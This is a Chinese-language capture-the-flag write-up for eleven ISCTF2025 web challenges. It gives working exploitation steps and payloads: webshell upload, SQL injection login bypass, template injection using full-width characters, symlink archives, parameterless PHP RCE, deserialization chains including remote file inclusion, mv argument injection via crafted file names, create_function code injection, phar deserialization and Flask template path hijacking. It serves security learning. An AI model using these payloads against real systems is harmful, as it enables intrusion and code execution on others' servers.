ISCTF2025-WEB方向WP详解
字数 2634 2025-12-17 12:17:13
ISCTF2025 WEB方向题目解析与漏洞利用技术详解
1. b@by n0t1ce b0ard
1.1 漏洞分析
- 漏洞位置:
registration.php文件上传功能 - 漏洞类型:文件上传漏洞
- 关键缺陷:对上传文件后缀名缺乏有效检查
1.2 利用方法
- 直接上传Webshell文件(如PHP木马)
- 访问上传的恶意文件路径执行命令
- 通过万能密码绕过认证:
- 闭合符:
' - 注释符不可用
or被过滤,使用OR替代- 最终payload:
admin' OR 1=1
- 闭合符:
1.3 技术要点
- 上传后重定向到
/admin/upload.php - 实际有效路径为根目录下的
upload.php - 通过目录扫描发现正确路径
2. 难过的bottle
2.1 源码分析
# 黑名单过滤机制
def contains_blacklist(content):
# 过滤多种危险字符
blacklist = ['import', 'eval', 'exec', 'os', 'system', ...]
for item in blacklist:
if item in content:
return True
return False
2.2 Python全角字符绕过技术
- 原理:Python3支持Unicode标准化(NFKC)
- 关键发现:过滤函数对payload进行字符串检查,但模板引擎会进行标准化处理
- 利用方法:
- 使用全角字符替换关键标识符
- 将payload写入模板文件(如
test.tpl) - 压缩为zip格式上传
- 访问触发模板渲染
2.3 payload构造要点
- 利用
{{}}模板语法注入代码 - 标准化过程将全角字符转换为半角字符执行
3. 考察软链接
3.1 漏洞原理
- 服务器对上传的压缩包进行自动解压
- 缺乏对符号链接的安全检查
3.2 利用步骤
- 在本地创建指向目标目录的软链接:
ln -s /target/directory link_name - 将软链接打包为tar格式:
tar -cvf payload.tar link_name - 上传tar包,服务器解压后访问符号链接
3.3 注意事项
- 避免使用图片后缀(如.jpg),防止服务器错误解析
- 目标路径通常为根目录(
/)
4. ezrce
4.1 限制条件分析
/等路径分隔符被过滤- 数字字符被禁止
- 只能使用括号和分号等有限字符
4.2 无参RCE构造技术
// 基础payload结构
?code=print_r(scandir(current(localeconv())));
4.3 目录遍历payload解析
// 连续向上跳转10次到达根目录
chdir(next(scandir(current(localeconv()))));
// 重复10次后读取flag
readfile('flag');
4.4 关键函数说明
localeconv():返回本地化数字格式信息数组current():获取数组第一个元素(.)scandir():扫描目录内容chdir():改变当前工作目录next():移动数组指针并返回值
5. 来签个到吧
5.1 反序列化漏洞链
入口条件:输入必须以blueshark:开头
5.2 类结构分析
class ShitMountant {
public $url;
public function __destruct() {
$this->fetch();
}
public function fetch() {
include($this->url);
}
}
5.3 利用链构造
- 实例化
ShitMountant类 - 设置
$url为恶意URL - 序列化对象
- 添加
blueshark:前缀提交
5.4 最终效果
- 反序列化触发
__destruct() - 调用
fetch()方法包含远程文件 - 写入Webshell到
shell.php
6. mv_upload
6.1 源码审计发现
- 存在备份文件:
/.index.php~ - 使用
mv命令的-S选项
6.2 恶意文件名构造
预期命令:
mv -S php t. ./var/www/html/upload/
6.3 利用步骤
- 上传三个特殊命名文件:
- 文件名1:
-S - 文件名2:
php - 文件名3:
t.
- 文件名1:
- 服务器执行mv命令拼接后缀
t.与php组合成t.php可执行文件
6.4 关键技术点
- 利用命令行参数注入
- 文件上传顺序影响命令构造
-S选项指定备份后缀
7. Bypass
7.1 环境分析
- PHP版本:7.1.x
create_function可用(7.3+废弃)
7.2 create_function机制
// 内部实现原理
function create_function($args, $code) {
eval("function lambda_func($args) { $code }");
}
7.3 payload构造
};system('ls /');//
- 使用
}闭合匿名函数 ;开始新命令//注释后续内容
7.4 绕过技术
- 八进制编码绕过过滤:
\xxx格式 - 十六进制编码(注意字符限制)
- 异或运算构造payload
8. 双生序列
8.1 多阶段攻击架构
- index.php:序列化数据存储入口
- api.php:PHP反序列化触发点
- run.php:Python反序列化执行点
8.2 PHP POP链构造
攻击流程:
- 注入
Bridge对象到数据库 api.php反序列化触发Bridge::fetch()- 调用
Writer::write_all()生成Python payload Shark::__toString()生成PHP触发文件
8.3 Python漏洞利用
双重漏洞:
- 密钥同步绕过:固定密钥
kaqikaqi - Pickle反序列化RCE:无白名单限制
8.4 完整攻击步骤
- 生成Python Pickle payload
- 构造PHP序列化字符串
- 注入数据库并获取ID
- 访问
api.php?id=X铺设环境 - 访问
run.php?action=run触发RCE
9. ezpop
9.1 空格绕过技术
IFS(内部字段分隔符)原理:
- 默认包含:空格、制表符、换行符
- 替代字符:
%20(空格)、%09(制表符)、%0a(换行符) - 特殊字符:
<、>(重定向符)
9.2 payload构造
// 使用制表符替代空格
system\t('ls\t/');
// 或使用重定向符
system<('ls</');
9.3 反序列化链
- 利用类方法调用链
passthru替代system执行命令- 特殊字符绕过过滤检查
10. include_upload
10.1 Phar反序列化利用
漏洞原理:
include函数处理phar文件时自动反序列化- 压缩格式绕过内容检查
10.2 利用步骤
- 生成恶意phar文件:
$phar = new Phar('payload.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'payload'); $phar->setStub('<?php __HALT_COMPILER(); ?>'); $phar->stopBuffering(); - 使用gz或bzip2压缩
- 修改后缀为.png上传
- 通过include触发反序列化
10.3 关键技术点
- 文件名包含
.phar触发特殊处理 - 压缩绕过内容安全检查
- Phar元数据反序列化
11. Who am I
11.1 Flask应用漏洞
漏洞位置:pydash.set_函数参数可控
11.2 模板路径劫持
攻击payload:
/operate?username=app&password=jinja_loader.searchpath[0]&confirm_password=/
/impression?point=flag
11.3 漏洞利用原理
- 修改Jinja2模板加载路径:
app.jinja_loader.searchpath[0]指向根目录
- 模板渲染时加载指定文件:
point参数控制模板文件名- 渲染
/flag文件内容
11.4 技术要点
pydash.set_函数属性注入- Jinja2模板加载器路径控制
- Flask应用上下文利用
总结
本教学文档详细分析了ISCTF2025 WEB方向的各类漏洞利用技术,涵盖文件上传、代码注入、反序列化、参数绕过等多个安全领域。每种漏洞都提供了完整的原理分析、利用方法和实战技巧,为Web安全学习和CTF竞赛提供了全面的技术参考。